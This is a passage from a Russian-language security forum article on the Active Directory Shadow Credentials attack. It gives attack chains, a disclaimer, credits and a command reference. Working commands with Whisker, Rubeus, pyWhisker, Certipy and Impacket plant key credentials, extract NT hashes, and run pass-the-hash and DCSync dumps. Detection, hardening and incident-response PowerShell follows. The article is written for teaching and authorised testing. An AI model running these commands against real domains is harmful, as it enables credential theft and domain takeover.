- Shadow Credentials → UnPAC → Pass-the-Hash → DCSync
- NTLM Relay → Shadow Credentials → RBCD → Domain Admin
- ESC8 → Certificate → Shadow Credentials → Persistence
Подробный разбор подобных цепочек можно найти в статье
от Kerberoasting до Golden Ticket, где показано, как техники связываются в единый attack flow.
Disclaimer
Актуальность: Информация в этой статье актуальна на октябрь 2025 года. Атака Shadow Credentials полностью работает на Windows Server 2016+ с включенным PKINIT.
Этическое использование: Вся информация предоставлена исключительно в образовательных целях для:
- Обучения специалистов информационной безопасности
- Проведения авторизованного пентестинга
- Настройки защиты в собственной инфраструктуре
Использование этих техник без явного письменного разрешения владельца системы является незаконным.
Точность: Техническая информация проверена и основана на официальных спецификациях (RFC, MS-PAC, MS-KILE) и проверенных исследованиях. Все инструменты и техники существуют и работают на момент публикации.
Credits
Благодарности исследователям и разработчикам:
- Elad Shamir — оригинальное исследование Shadow Credentials
- Will Schroeder & Lee Christensen — Certified Pre-Owned и контекст AD CS атак
- Michael Grafnetter — DSInternals и исследование WHfB
- Benjamin Delpy (gentilkiwi) — UnPACtheHash в Kekeo
- Dirk-jan Mollema — PKINITtools
- ShutdownRepo — pyWhisker
- Oliver Lyak — Certipy
- GhostPack — Rubeus
Статья подготовлена для форума античат — сообщества профессионалов в области информационной безопасности.
Command Reference (Quick Lookup)
Shadow Credentials - Exploitation
Windows (Whisker + Rubeus):
Код:
Код:
# Добавить Shadow Credentials
Whisker.exe add /target:USER /domain:DOMAIN /dc:DC
# Получить TGT + NT hash
Rubeus.exe asktgt /user:USER /certificate:CERT.pfx /password:PASS /getcredentials
# Удалить Shadow Credentials (cleanup)
Whisker.exe remove /target:USER /deviceid:GUID
Linux (pyWhisker + PKINITtools):
Bash:
Код:
# Добавить Shadow Credentials
python3 pywhisker.py -d DOMAIN -u
USER
-p PASS --target TARGET --action
add
# Получить TGT
python3 gettgtpkinit.py -cert-pfx CERT.pfx -pfx-pass PASS DOMAIN/TARGET tgt.ccache
# Извлечь NT hash
export
KRB5CCNAME
=
tgt.ccache
python3 getnthash.py -key ASREP_KEY DOMAIN/TARGET
# Удалить Shadow Credentials
python3 pywhisker.py -d DOMAIN -u
USER
-p PASS --target TARGET --action remove --device-id GUID
Certipy (универсальный):
Bash:
Код:
# Автоматический flow
certipy shadow auto -u
USER
@DOMAIN -p PASS -account TARGET
# Ручной control
certipy shadow
add
-u
USER
@DOMAIN -p PASS -account TARGET
certipy shadow remove -u
USER
@DOMAIN -p PASS -account TARGET -device-id GUID
Post-Exploitation с NT Hash
Bash:
Код:
# Pass-the-Hash
crackmapexec smb TARGET -u
USER
-H NTHASH
evil-winrm -i TARGET -u
USER
-H NTHASH
# WMI Execution
impacket-wmiexec DOMAIN/
USER
@TARGET -hashes :NTHASH
# DCSync (если Domain Admin)
impacket-secretsdump DOMAIN/
USER
@DC -hashes :NTHASH
Defense - Detection Setup
Код:
Код:
# Настройка SACL для msDS-KeyCredentialLink
Set-AuditRule -AdObjectPath 'AD:\DC=domain,DC=local' `
-WellKnownSidType WorldSid `
-Rights WriteProperty,GenericWrite `
-InheritanceFlags All `
-AttributeGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 `
-AuditFlags Success
# Включить LDAP Signing
# GPO: DC: LDAP server signing requirements = Require signing
# Включить LDAP Channel Binding
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LdapEnforceChannelBinding" -Value 2 -Type DWord
Defense - Deny ACE for Privileged Accounts
Код:
Код:
# Функция для применения Deny ACE
function Set-DenyACE-KeyCredentialLink {
param([string]$UserDN)
$acl = Get-Acl "AD:\$UserDN"
$sid = [System.Security.Principal.SecurityIdentifier]"S-1-1-0"
$guid = [Guid]"5b47d60f-6090-40b2-9f37-2a4de88f3063"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
[System.Security.AccessControl.AccessControlType]::Deny,
$guid
)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$UserDN" $acl
}
# Применить ко всем Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object {
Set-DenyACE-KeyCredentialLink -UserDN $_.DistinguishedName
}
Incident Response
Код:
Код:
# 1. Очистить Shadow Credentials
Set-ADUser COMPROMISED_USER -Clear msDS-KeyCredentialLink
# 2. Проверка успешности
Get-ADUser COMPROMISED_USER -Properties msDS-KeyCredentialLink | Select msDS-KeyCredentialLink
# 3. Аудит всех privileged аккаунтов
Get-ADUser -Filter {AdminCount -eq 1} -Properties msDS-KeyCredentialLink |
Where-Object {$_.msDS-KeyCredentialLink} |
Select-Object Name, SamAccountName
# 4. Проверка всех аккаунтов с KeyCredentials
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object {$_.msDS-KeyCredentialLink} |
Export-Csv "KeyCredentials_Audit_$(Get-Date -Format 'yyyy-MM-dd').csv"
Удачи в изучении! Если остались вопросы — спрашивай.